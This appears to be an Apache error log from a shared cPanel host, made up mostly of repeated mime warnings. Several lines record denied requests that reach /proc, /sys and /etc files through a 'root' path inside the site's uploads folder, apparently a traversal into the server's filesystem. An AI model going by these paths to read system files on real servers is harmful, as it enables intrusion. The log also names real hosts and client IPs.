[Fri Jul 17 09:44:13.492981 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:41778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:13.627936 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:13.665929 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:13.875895 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:13.979396 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:14.034863 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:14.218975 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:14.276676 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:14.502996 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:14.592927 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:14.651899 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.058142 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.196664 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/ntrig/unbind
[Fri Jul 17 09:44:15.197142 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/ntrig/unbind"] [unique_id "almsF8zGNCrIh2ysmniO4AAAABY"]
[Fri Jul 17 09:44:15.197172 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/ntrig/unbind"] [unique_id "almsF8zGNCrIh2ysmniO4AAAABY"]
[Fri Jul 17 09:44:15.343284 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.355765 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.610552 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.699507 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.791968 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:15.974545 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.066737 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.253338 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.430424 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.522256 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.706509 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.768911 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.797229 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.887015 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/tty/ttyS0/close_delay
[Fri Jul 17 09:44:16.909161 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:16.981021 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.070850 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.162080 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/battery/unbind
[Fri Jul 17 09:44:17.251872 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.342204 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/ec/uevent
[Fri Jul 17 09:44:17.434149 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYBUS:00/PNP0C0F:04/uevent"] [unique_id "almsGfwooI4qY7Jg93pesgAAABM"]
[Fri Jul 17 09:44:17.434206 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYBUS:00/PNP0C0F:04/uevent"] [unique_id "almsGfwooI4qY7Jg93pesgAAABM"]
[Fri Jul 17 09:44:17.525811 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.617362 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.708201 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.799245 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.888866 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:17.981029 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.071471 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.162146 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.255336 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463294 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/ec/uevent
[Fri Jul 17 09:44:18.463558 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463672 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463701 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463722 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463748 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463779 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463798 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463817 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463833 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463853 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463878 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463898 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463917 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463936 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463958 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.463986 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464014 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464081 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464113 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464136 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464155 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464178 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464197 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464218 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464237 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464259 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464305 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464329 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464351 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464369 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464392 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464414 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464435 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464455 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464476 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464497 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464519 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464539 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464564 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464584 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464635 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464659 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464684 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464708 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464730 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464751 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464774 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464793 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464815 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464837 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464860 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464881 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.464902 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.583142 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:41960] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:18.618538 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.946033 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:18.991687 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.077865 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.175363 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.258864 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.353497 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.442702 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.623182 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.725582 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:19.948957 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.054222 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.077465 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs/etc/alternatives/ld
[Fri Jul 17 09:44:20.170518 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/uhci_hcd/unbind
[Fri Jul 17 09:44:20.259742 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.357318 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.445736 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.711510 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.852704 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:42038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:20.866377 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.883318 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.949236 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:20.993864 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.082094 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.127628 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.173345 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.285788 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.358481 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/pcspkr/uevent
[Fri Jul 17 09:44:21.454537 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/serio/drivers/atkbd/serio0/drvctl
[Fri Jul 17 09:44:21.462280 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:40530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:21.546468 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.637038 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.786092 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.818930 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.819009 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.819062 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.819111 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.846770 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:21.910330 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.046147 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.121512 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.188514 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.326187 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.435635 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/demouids
[Fri Jul 17 09:44:22.740382 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.846684 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:22.927825 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.136454 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.201200 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.410236 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.475249 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.560822 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.565686 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.657644 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.670127 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.707805 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.749039 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:23.929782 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.020950 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.115707 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.390797 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.489053 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.575535 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.656827 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.666300 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.737043 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:24.947912 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:25.040132 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:25.133315 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:09/eject
[Fri Jul 17 09:44:25.521128 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:25.542131 2026] [rewrite:error] [pid 2047046:tid 2047046] [client 144.76.19.75:0] AH10411: Rewritten query string contains control characters or spaces
[Fri Jul 17 09:44:25.895257 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.034740 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.220250 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.397162 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.515026 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.581191 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.681976 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.771681 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.775739 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.857895 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:26.956174 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.058857 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.081542 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.228828 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.412561 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.503736 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup8/subsystem/wakeup13/device/rescan
[Fri Jul 17 09:44:27.597606 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.667558 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.685615 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.776847 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:27.877244 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.059560 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.124316 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:40770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:28.148744 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.395215 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.605295 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.696521 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.795270 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:28.887040 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.021151 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.160219 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.184533 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.255535 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup12/device/subsystem/drivers/ac/uevent
[Fri Jul 17 09:44:29.344766 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.482978 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.801504 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.891856 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:29.984555 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
